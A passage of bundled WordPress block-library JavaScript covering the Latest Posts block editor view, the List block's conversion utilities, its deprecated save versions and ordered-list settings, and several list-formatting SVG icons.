25846 const displayPosts = latestPosts.length > postsToShow ? latestPosts.slice(0, postsToShow) : latestPosts;
25847 const layoutControls = [
25848 {
25849 icon: list_default,
25850 title: (0,external_wp_i18n_namespaceObject._x)("List view", "Latest posts block display setting"),
25851 onClick: () => setAttributes({ postLayout: "list" }),
25852 isActive: postLayout === "list"
25853 },
25854 {
25855 icon: grid_default,
25856 title: (0,external_wp_i18n_namespaceObject._x)("Grid view", "Latest posts block display setting"),
25857 onClick: () => setAttributes({ postLayout: "grid" }),
25858 isActive: postLayout === "grid"
25859 }
25860 ];
25861 const dateFormat = (0,external_wp_date_namespaceObject.getSettings)().formats.date;
25862 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
25863 inspectorControls,
25864 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { controls: layoutControls }) }),
25865 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", { ...blockProps, children: displayPosts.map((post) => {
25866 const titleTrimmed = post.title.rendered.trim();
25867 let excerpt = post.excerpt.rendered;
25868 const currentAuthor = getCurrentAuthor(post);
25869 const excerptElement = document.createElement("div");
25870 excerptElement.innerHTML = excerpt;
25871 excerpt = excerptElement.textContent || excerptElement.innerText || "";
25872 const { url: imageSourceUrl, alt: featuredImageAlt } = getFeaturedImageDetails(post, featuredImageSizeSlug);
25873 const imageClasses = dist_clsx({
25874 "wp-block-latest-posts__featured-image": true,
25875 [`align${featuredImageAlign}`]: !!featuredImageAlign
25876 });
25877 const renderFeaturedImage = displayFeaturedImage && imageSourceUrl;
25878 const featuredImage = renderFeaturedImage && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25879 "img",
25880 {
25881 src: imageSourceUrl,
25882 alt: featuredImageAlt,
25883 style: {
25884 maxWidth: featuredImageSizeWidth,
25885 maxHeight: featuredImageSizeHeight
25886 }
25887 }
25888 );
25889 const needsReadMore = excerptLength < excerpt.trim().split(" ").length && post.excerpt.raw === "";
25890 const postExcerpt = needsReadMore ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
25891 excerpt.trim().split(" ", excerptLength).join(" "),
25892 (0,external_wp_element_namespaceObject.createInterpolateElement)(
25893 (0,external_wp_i18n_namespaceObject.sprintf)(
25894 /* translators: 1: Hidden accessibility text: Post title */
25895 (0,external_wp_i18n_namespaceObject.__)(
25896 "\u2026 <a>Read more<span>: %1$s</span></a>"
25897 ),
25898 titleTrimmed || (0,external_wp_i18n_namespaceObject.__)("(no title)")
25899 ),
25900 {
25901 a: (
25902 // eslint-disable-next-line jsx-a11y/anchor-has-content
25903 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25904 "a",
25905 {
25906 className: "wp-block-latest-posts__read-more",
25907 href: post.link,
25908 rel: "noopener noreferrer",
25909 onClick: showRedirectionPreventedNotice
25910 }
25911 )
25912 ),
25913 span: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "screen-reader-text" })
25914 }
25915 )
25916 ] }) : excerpt;
25917 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", { children: [
25918 renderFeaturedImage && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: imageClasses, children: addLinkToFeaturedImage ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25919 "a",
25920 {
25921 href: post.link,
25922 onClick: showRedirectionPreventedNotice,
25923 children: featuredImage
25924 }
25925 ) : featuredImage }),
25926 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25927 "a",
25928 {
25929 className: "wp-block-latest-posts__post-title",
25930 href: post.link,
25931 dangerouslySetInnerHTML: !!titleTrimmed ? {
25932 __html: titleTrimmed
25933 } : void 0,
25934 onClick: showRedirectionPreventedNotice,
25935 children: !titleTrimmed ? (0,external_wp_i18n_namespaceObject.__)("(no title)") : null
25936 }
25937 ),
25938 displayAuthor && currentAuthor && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-latest-posts__post-author", children: (0,external_wp_i18n_namespaceObject.sprintf)(
25939 /* translators: byline. %s: author. */
25940 (0,external_wp_i18n_namespaceObject.__)("by %s"),
25941 currentAuthor.name
25942 ) }),
25943 displayPostDate && post.date_gmt && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25944 "time",
25945 {
25946 dateTime: (0,external_wp_date_namespaceObject.format)("c", post.date_gmt),
25947 className: "wp-block-latest-posts__post-date",
25948 children: (0,external_wp_date_namespaceObject.dateI18n)(dateFormat, post.date_gmt)
25949 }
25950 ),
25951 displayPostContent && displayPostContentRadio === "excerpt" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-latest-posts__post-excerpt", children: postExcerpt }),
25952 displayPostContent && displayPostContentRadio === "full_post" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25953 "div",
25954 {
25955 className: "wp-block-latest-posts__post-full-content",
25956 dangerouslySetInnerHTML: {
25957 __html: post.content.raw.trim()
25958 }
25959 }
25960 )
25961 ] }, post.id);
25962 }) })
25963 ] });
25964}
25965
25966
25967;// ./node_modules/@wordpress/block-library/build-module/latest-posts/index.js
25968
25969
25970
25971
25972
25973const { name: latest_posts_name } = latest_posts_block_namespaceObject;
25974const latest_posts_settings = {
25975 icon: post_list_default,
25976 example: {},
25977 edit: LatestPostsEdit,
25978 deprecated: latest_posts_deprecated_deprecated_default
25979};
25980const latest_posts_init = () => initBlock({ name: latest_posts_name, metadata: latest_posts_block_namespaceObject, settings: latest_posts_settings });
25981
25982
25983;// ./node_modules/@wordpress/block-library/build-module/list/utils.js
25984
25985const LIST_STYLES = {
25986 A: "upper-alpha",
25987 a: "lower-alpha",
25988 I: "upper-roman",
25989 i: "lower-roman"
25990};
25991function createListBlockFromDOMElement(listElement) {
25992 const type = listElement.getAttribute("type");
25993 const listAttributes = {
25994 ordered: "OL" === listElement.tagName,
25995 anchor: listElement.id === "" ? void 0 : listElement.id,
25996 start: listElement.getAttribute("start") ? parseInt(listElement.getAttribute("start"), 10) : void 0,
25997 reversed: listElement.hasAttribute("reversed") ? true : void 0,
25998 type: type && LIST_STYLES[type] ? LIST_STYLES[type] : void 0
25999 };
26000 const innerBlocks = Array.from(listElement.children).map(
26001 (listItem) => {
26002 const children = Array.from(listItem.childNodes).filter(
26003 (node) => node.nodeType !== node.TEXT_NODE || node.textContent.trim().length !== 0
26004 );
26005 children.reverse();
26006 const [nestedList, ...nodes] = children;
26007 const hasNestedList = nestedList?.tagName === "UL" || nestedList?.tagName === "OL";
26008 if (!hasNestedList) {
26009 return (0,external_wp_blocks_namespaceObject.createBlock)("core/list-item", {
26010 content: listItem.innerHTML
26011 });
26012 }
26013 const htmlNodes = nodes.map((node) => {
26014 if (node.nodeType === node.TEXT_NODE) {
26015 return node.textContent;
26016 }
26017 return node.outerHTML;
26018 });
26019 htmlNodes.reverse();
26020 const childAttributes = {
26021 content: htmlNodes.join("").trim()
26022 };
26023 const childInnerBlocks = [
26024 createListBlockFromDOMElement(nestedList)
26025 ];
26026 return (0,external_wp_blocks_namespaceObject.createBlock)(
26027 "core/list-item",
26028 childAttributes,
26029 childInnerBlocks
26030 );
26031 }
26032 );
26033 return (0,external_wp_blocks_namespaceObject.createBlock)("core/list", listAttributes, innerBlocks);
26034}
26035function migrateToListV2(attributes) {
26036 const { values, start, reversed, ordered, type, ...otherAttributes } = attributes;
26037 const list = document.createElement(ordered ? "ol" : "ul");
26038 list.innerHTML = values;
26039 if (start) {
26040 list.setAttribute("start", start);
26041 }
26042 if (reversed) {
26043 list.setAttribute("reversed", true);
26044 }
26045 if (type) {
26046 list.setAttribute("type", type);
26047 }
26048 const [listBlock] = (0,external_wp_blocks_namespaceObject.rawHandler)({ HTML: list.outerHTML });
26049 return [
26050 { ...otherAttributes, ...listBlock.attributes },
26051 listBlock.innerBlocks
26052 ];
26053}
26054function migrateTypeToInlineStyle(attributes) {
26055 const { type } = attributes;
26056 if (type && LIST_STYLES[type]) {
26057 return {
26058 ...attributes,
26059 type: LIST_STYLES[type]
26060 };
26061 }
26062 return attributes;
26063}
26064
26065
26066;// ./node_modules/@wordpress/block-library/build-module/list/deprecated.js
26067
26068
26069
26070
26071const v0 = {
26072 attributes: {
26073 ordered: {
26074 type: "boolean",
26075 default: false,
26076 role: "content"
26077 },
26078 values: {
26079 type: "string",
26080 source: "html",
26081 selector: "ol,ul",
26082 multiline: "li",
26083 __unstableMultilineWrapperTags: ["ol", "ul"],
26084 default: "",
26085 role: "content"
26086 },
26087 type: {
26088 type: "string"
26089 },
26090 start: {
26091 type: "number"
26092 },
26093 reversed: {
26094 type: "boolean"
26095 },
26096 placeholder: {
26097 type: "string"
26098 }
26099 },
26100 supports: {
26101 anchor: true,
26102 className: false,
26103 typography: {
26104 fontSize: true,
26105 __experimentalFontFamily: true
26106 },
26107 color: {
26108 gradients: true,
26109 link: true
26110 },
26111 __unstablePasteTextInline: true,
26112 __experimentalSelector: "ol,ul",
26113 __experimentalSlashInserter: true
26114 },
26115 save({ attributes }) {
26116 const { ordered, values, type, reversed, start } = attributes;
26117 const TagName = ordered ? "ol" : "ul";
26118 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ type, reversed, start }), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: values, multiline: "li" }) });
26119 },
26120 migrate: migrate_font_family_default,
26121 isEligible({ style }) {
26122 return style?.typography?.fontFamily;
26123 }
26124};
26125const list_deprecated_v1 = {
26126 attributes: {
26127 ordered: {
26128 type: "boolean",
26129 default: false,
26130 role: "content"
26131 },
26132 values: {
26133 type: "string",
26134 source: "html",
26135 selector: "ol,ul",
26136 multiline: "li",
26137 __unstableMultilineWrapperTags: ["ol", "ul"],
26138 default: "",
26139 role: "content"
26140 },
26141 type: {
26142 type: "string"
26143 },
26144 start: {
26145 type: "number"
26146 },
26147 reversed: {
26148 type: "boolean"
26149 },
26150 placeholder: {
26151 type: "string"
26152 }
26153 },
26154 supports: {
26155 anchor: true,
26156 className: false,
26157 typography: {
26158 fontSize: true,
26159 __experimentalFontFamily: true,
26160 lineHeight: true,
26161 __experimentalFontStyle: true,
26162 __experimentalFontWeight: true,
26163 __experimentalLetterSpacing: true,
26164 __experimentalTextTransform: true,
26165 __experimentalDefaultControls: {
26166 fontSize: true
26167 }
26168 },
26169 color: {
26170 gradients: true,
26171 link: true,
26172 __experimentalDefaultControls: {
26173 background: true,
26174 text: true
26175 }
26176 },
26177 __unstablePasteTextInline: true,
26178 __experimentalSelector: "ol,ul",
26179 __experimentalSlashInserter: true
26180 },
26181 save({ attributes }) {
26182 const { ordered, values, type, reversed, start } = attributes;
26183 const TagName = ordered ? "ol" : "ul";
26184 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ type, reversed, start }), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: values, multiline: "li" }) });
26185 },
26186 migrate: migrateToListV2
26187};
26188const list_deprecated_v2 = {
26189 attributes: {
26190 ordered: {
26191 type: "boolean",
26192 default: false,
26193 role: "content"
26194 },
26195 values: {
26196 type: "string",
26197 source: "html",
26198 selector: "ol,ul",
26199 multiline: "li",
26200 __unstableMultilineWrapperTags: ["ol", "ul"],
26201 default: "",
26202 role: "content"
26203 },
26204 type: {
26205 type: "string"
26206 },
26207 start: {
26208 type: "number"
26209 },
26210 reversed: {
26211 type: "boolean"
26212 },
26213 placeholder: {
26214 type: "string"
26215 }
26216 },
26217 supports: {
26218 anchor: true,
26219 className: false,
26220 typography: {
26221 fontSize: true,
26222 lineHeight: true,
26223 __experimentalFontFamily: true,
26224 __experimentalFontWeight: true,
26225 __experimentalFontStyle: true,
26226 __experimentalTextTransform: true,
26227 __experimentalTextDecoration: true,
26228 __experimentalLetterSpacing: true,
26229 __experimentalDefaultControls: {
26230 fontSize: true
26231 }
26232 },
26233 color: {
26234 gradients: true,
26235 link: true,
26236 __experimentalDefaultControls: {
26237 background: true,
26238 text: true
26239 }
26240 },
26241 spacing: {
26242 margin: true,
26243 padding: true,
26244 __experimentalDefaultControls: {
26245 margin: false,
26246 padding: false
26247 }
26248 },
26249 __unstablePasteTextInline: true,
26250 __experimentalSelector: "ol,ul",
26251 __experimentalSlashInserter: true
26252 },
26253 isEligible({ type }) {
26254 return !!type;
26255 },
26256 save({ attributes }) {
26257 const { ordered, type, reversed, start } = attributes;
26258 const TagName = ordered ? "ol" : "ul";
26259 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ type, reversed, start }), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}) });
26260 },
26261 migrate: migrateTypeToInlineStyle
26262};
26263const list_deprecated_v3 = {
26264 attributes: {
26265 ordered: {
26266 type: "boolean",
26267 default: false,
26268 role: "content"
26269 },
26270 values: {
26271 type: "string",
26272 source: "html",
26273 selector: "ol,ul",
26274 multiline: "li",
26275 __unstableMultilineWrapperTags: ["ol", "ul"],
26276 default: "",
26277 role: "content"
26278 },
26279 type: {
26280 type: "string"
26281 },
26282 start: {
26283 type: "number"
26284 },
26285 reversed: {
26286 type: "boolean"
26287 },
26288 placeholder: {
26289 type: "string"
26290 }
26291 },
26292 supports: {
26293 anchor: true,
26294 className: false,
26295 typography: {
26296 fontSize: true,
26297 lineHeight: true,
26298 __experimentalFontFamily: true,
26299 __experimentalFontWeight: true,
26300 __experimentalFontStyle: true,
26301 __experimentalTextTransform: true,
26302 __experimentalTextDecoration: true,
26303 __experimentalLetterSpacing: true,
26304 __experimentalDefaultControls: {
26305 fontSize: true
26306 }
26307 },
26308 color: {
26309 gradients: true,
26310 link: true,
26311 __experimentalDefaultControls: {
26312 background: true,
26313 text: true
26314 }
26315 },
26316 spacing: {
26317 margin: true,
26318 padding: true,
26319 __experimentalDefaultControls: {
26320 margin: false,
26321 padding: false
26322 }
26323 },
26324 __unstablePasteTextInline: true,
26325 __experimentalSelector: "ol,ul",
26326 __experimentalOnMerge: "true",
26327 __experimentalSlashInserter: true
26328 },
26329 save({ attributes }) {
26330 const { ordered, type, reversed, start } = attributes;
26331 const TagName = ordered ? "ol" : "ul";
26332 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26333 TagName,
26334 {
26335 ...external_wp_blockEditor_namespaceObject.useBlockProps.save({
26336 reversed,
26337 start,
26338 style: {
26339 listStyleType: ordered && type !== "decimal" ? type : void 0
26340 }
26341 }),
26342 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {})
26343 }
26344 );
26345 }
26346};
26347var list_deprecated_deprecated_default = [list_deprecated_v3, list_deprecated_v2, list_deprecated_v1, v0];
26348
26349
26350;// ./node_modules/@wordpress/icons/build-module/library/format-outdent-rtl.js
26351
26352
26353var format_outdent_rtl_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M20 5.5H4V4H20V5.5ZM12 12.5H4V11H12V12.5ZM20 20V18.5H4V20H20ZM15.4697 14.9697L18.4393 12L15.4697 9.03033L16.5303 7.96967L20.0303 11.4697L20.5607 12L20.0303 12.5303L16.5303 16.0303L15.4697 14.9697Z" }) });
26354
26355
26356;// ./node_modules/@wordpress/icons/build-module/library/format-outdent.js
26357
26358
26359var format_outdent_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4 7.2v1.5h16V7.2H4zm8 8.6h8v-1.5h-8v1.5zm-4-4.6l-4 4 4 4 1-1-3-3 3-3-1-1z" }) });
26360
26361
26362;// ./node_modules/@wordpress/icons/build-module/library/format-list-bullets-rtl.js
26363
26364
26365var format_list_bullets_rtl_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4 8.8h8.9V7.2H4v1.6zm0 7h8.9v-1.5H4v1.5zM18 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2z" }) });
26366
26367
26368;// ./node_modules/@wordpress/icons/build-module/library/format-list-bullets.js
26369
26370
26371var format_list_bullets_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11.1 15.8H20v-1.5h-8.9v1.5zm0-8.6v1.5H20V7.2h-8.9zM6 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-7c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z" }) });
26372
26373
26374;// ./node_modules/@wordpress/icons/build-module/library/format-list-numbered-rtl.js
26375
26376
26377var format_list_numbered_rtl_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M3.8 15.8h8.9v-1.5H3.8v1.5zm0-7h8.9V7.2H3.8v1.6zm14.7-2.1V10h1V5.3l-2.2.7.3 1 .9-.3zm1.2 6.1c-.5-.6-1.2-.5-1.7-.4-.3.1-.5.2-.7.3l.1 1.1c.2-.2.5-.4.8-.5.3-.1.6 0 .7.1.2.3 0 .8-.2 1.1-.5.8-.9 1.6-1.4 2.5H20v-1h-.9c.3-.6.8-1.4.9-2.1 0-.3 0-.8-.3-1.1z" }) });
26378
26379
26380;// ./node_modules/@wordpress/icons/build-module/library/format-list-numbered.js
26381
26382
26383var format_list_numbered_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11.1 15.8H20v-1.5h-8.9v1.5zm0-8.6v1.5H20V7.2h-8.9zM5 6.7V10h1V5.3L3.8 6l.4 1 .8-.3zm-.4 5.7c-.3.1-.5.2-.7.3l.1 1.1c.2-.2.5-.4.8-.5.3-.1.6 0 .7.1.2.3 0 .8-.2 1.1-.5.8-.9 1.6-1.4 2.5h2.7v-1h-1c.3-.6.8-1.4.9-2.1.1-.3 0-.8-.2-1.1-.5-.6-1.3-.5-1.7-.4z" }) });
26384
26385
26386;// external ["wp","deprecated"]
26387const external_wp_deprecated_namespaceObject = window["wp"]["deprecated"];
26388var external_wp_deprecated_default = /*#__PURE__*/__webpack_require__.n(external_wp_deprecated_namespaceObject);
26389;// ./node_modules/@wordpress/block-library/build-module/list/ordered-list-settings.js
26390
26391
26392
26393
26394
26395
26396const LIST_STYLE_OPTIONS = [
26397 {
26398 label: (0,external_wp_i18n_namespaceObject.__)("Numbers"),
26399 value: "decimal"
26400 },
26401 {
26402 label: (0,external_wp_i18n_namespaceObject.__)("Uppercase letters"),
26403 value: "upper-alpha"
26404 },
26405 {
26406 label: (0,external_wp_i18n_namespaceObject.__)("Lowercase letters"),
26407 value: "lower-alpha"
26408 },
26409 {
26410 label: (0,external_wp_i18n_namespaceObject.__)("Uppercase Roman numerals"),
26411 value: "upper-roman"
26412 },
26413 {
26414 label: (0,external_wp_i18n_namespaceObject.__)("Lowercase Roman numerals"),
26415 value: "lower-roman"
26416 }
26417];
26418const OrderedListSettings = ({ setAttributes, reversed, start, type }) => {
26419 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
26420 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: external_wp_element_namespaceObject.Platform.isNative ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.PanelBody, { title: (0,external_wp_i18n_namespaceObject.__)("Settings"), children: [
26421 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26422 external_wp_components_namespaceObject.SelectControl,
26423 {
26424 __next40pxDefaultSize: true,
26425 __nextHasNoMarginBottom: true,
26426 label: (0,external_wp_i18n_namespaceObject.__)("List style"),
26427 options: LIST_STYLE_OPTIONS,
26428 value: type,
26429 onChange: (newValue) => setAttributes({ type: newValue })
26430 }
26431 ),
26432 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26433 external_wp_components_namespaceObject.TextControl,
26434 {
26435 __next40pxDefaultSize: true,
26436 __nextHasNoMarginBottom: true,
26437 label: (0,external_wp_i18n_namespaceObject.__)("Start value"),
26438 type: "number",
26439 onChange: (value) => {
26440 const int = parseInt(value, 10);
26441 setAttributes({
26442 // It should be possible to unset the value,
26443 // e.g. with an empty string.
26444 start: isNaN(int) ? void 0 : int
26445 });
26446 },
26447 value: Number.isInteger(start) ? start.toString(10) : "",
26448 step: "1"
26449 }
26450 ),
26451 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26452 external_wp_components_namespaceObject.ToggleControl,
26453 {
26454 __nextHasNoMarginBottom: true,
26455 label: (0,external_wp_i18n_namespaceObject.__)("Reverse order"),
26456 checked: reversed || false,
26457 onChange: (value) => {
26458 setAttributes({
26459 // Unset the attribute if not reversed.
26460 reversed: value || void 0
26461 });
26462 }
26463 }
26464 )
26465 ] }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
26466 external_wp_components_namespaceObject.__experimentalToolsPanel,
26467 {
26468 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
26469 resetAll: () => {
26470 setAttributes({
26471 type: void 0,
26472 start: void 0,
26473 reversed: void 0
26474 });
26475 },
26476 dropdownMenuProps,
26477 children: [
26478 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26479 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
26480 {
26481 label: (0,external_wp_i18n_namespaceObject.__)("List style"),
26482 isShownByDefault: true,
26483 hasValue: () => !!type,
26484 onDeselect: () => setAttributes({
26485 type: void 0
26486 }),
26487 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26488 external_wp_components_namespaceObject.SelectControl,
26489 {
26490 __next40pxDefaultSize: true,
26491 __nextHasNoMarginBottom: true,
26492 label: (0,external_wp_i18n_namespaceObject.__)("List style"),
26493 options: LIST_STYLE_OPTIONS,
26494 value: type || "decimal",
26495 onChange: (newValue) => setAttributes({ type: newValue })
26496 }
26497 )
26498 }
26499 ),
26500 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26501 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
26502 {
26503 label: (0,external_wp_i18n_namespaceObject.__)("Start value"),
26504 isShownByDefault: true,
26505 hasValue: () => !!start,
26506 onDeselect: () => setAttributes({
26507 start: void 0
26508 }),
26509 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26510 external_wp_components_namespaceObject.TextControl,
26511 {
26512 __next40pxDefaultSize: true,
26513 __nextHasNoMarginBottom: true,
26514 label: (0,external_wp_i18n_namespaceObject.__)("Start value"),
26515 type: "number",
26516 onChange: (value) => {
26517 const int = parseInt(value, 10);
26518 setAttributes({
26519 // It should be possible to unset the value,
26520 // e.g. with an empty string.
26521 start: isNaN(int) ? void 0 : int
26522 });
26523 },
26524 value: Number.isInteger(start) ? start.toString(10) : "",
26525 step: "1"
26526 }
26527 )
26528 }
26529 ),
26530 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26531 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
26532 {
26533 label: (0,external_wp_i18n_namespaceObject.__)("Reverse order"),
26534 isShownByDefault: true,
26535 hasValue: () => !!reversed,
26536 onDeselect: () => setAttributes({
26537 reversed: void 0
26538 }),
26539 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26540 external_wp_components_namespaceObject.ToggleControl,
26541 {
26542 __nextHasNoMarginBottom: true,
26543 label: (0,external_wp_i18n_namespaceObject.__)("Reverse order"),
26544 checked: reversed || false,
26545 onChange: (value) => {
26546 setAttributes({
26547 // Unset the attribute if not reversed.
26548 reversed: value || void 0
26549 });
26550 }
26551 }
26552 )
26553 }
26554 )
26555 ]
26556 }
26557 ) });
26558};
26559var ordered_list_settings_default = OrderedListSettings;
26560
26561
26562;// ./node_modules/@wordpress/block-library/build-module/list/tag-name.js
26563
26564
26565function TagName(props, ref) {
26566 const { ordered, ...extraProps } = props;
26567 const Tag = ordered ? "ol" : "ul";
26568 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, { ref, ...extraProps });
26569}
26570var tag_name_default = (0,external_wp_element_namespaceObject.forwardRef)(TagName);
26571
26572
26573;// ./node_modules/@wordpress/block-library/build-module/list/edit.js
26574
26575
26576
26577
26578
26579
26580
26581
26582
26583
26584
26585
26586const list_edit_DEFAULT_BLOCK = {
26587 name: "core/list-item"
26588};
26589const list_edit_TEMPLATE = [["core/list-item"]];
26590const NATIVE_MARGIN_SPACING = 8;
26591function useMigrateOnLoad(attributes, clientId) {
26592 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
26593 const { updateBlockAttributes, replaceInnerBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
26594 (0,external_wp_element_namespaceObject.useEffect)(() => {
26595 if (!attributes.values) {
26596 return;
26597 }
26598 const [newAttributes, newInnerBlocks] = migrateToListV2(attributes);
26599 external_wp_deprecated_default()("Value attribute on the list block", {
26600 since: "6.0",
26601 version: "6.5",
26602 alternative: "inner blocks"
26603 });
26604 registry.batch(() => {
26605 updateBlockAttributes(clientId, newAttributes);
26606 replaceInnerBlocks(clientId, newInnerBlocks);
26607 });
26608 }, [attributes.values]);
26609}
26610function useOutdentList(clientId) {
26611 const { replaceBlocks, selectionChange } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
26612 const { getBlockRootClientId, getBlockAttributes, getBlock } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
26613 return (0,external_wp_element_namespaceObject.useCallback)(() => {
26614 const parentBlockId = getBlockRootClientId(clientId);
26615 const parentBlockAttributes = getBlockAttributes(parentBlockId);
26616 const newParentBlock = (0,external_wp_blocks_namespaceObject.createBlock)(
26617 "core/list-item",
26618 parentBlockAttributes
26619 );
26620 const { innerBlocks } = getBlock(clientId);
26621 replaceBlocks([parentBlockId], [newParentBlock, ...innerBlocks]);
26622 selectionChange(innerBlocks[innerBlocks.length - 1].clientId);
26623 }, [clientId]);
26624}
26625function IndentUI({ clientId }) {
26626 const outdentList = useOutdentList(clientId);
26627 const canOutdent = (0,external_wp_data_namespaceObject.useSelect)(
26628 (select) => {
26629 const { getBlockRootClientId, getBlockName } = select(external_wp_blockEditor_namespaceObject.store);
26630 return getBlockName(getBlockRootClientId(clientId)) === "core/list-item";
26631 },
26632 [clientId]
26633 );
26634 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26635 external_wp_components_namespaceObject.ToolbarButton,
26636 {
26637 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? format_outdent_rtl_default : format_outdent_default,
26638 title: (0,external_wp_i18n_namespaceObject.__)("Outdent"),
26639 description: (0,external_wp_i18n_namespaceObject.__)("Outdent list item"),
26640 disabled: !canOutdent,
26641 onClick: outdentList
26642 }
26643 ) });
26644}
26645function list_edit_Edit({ attributes, setAttributes, clientId, style }) {
26646 const { ordered, type, reversed, start } = attributes;
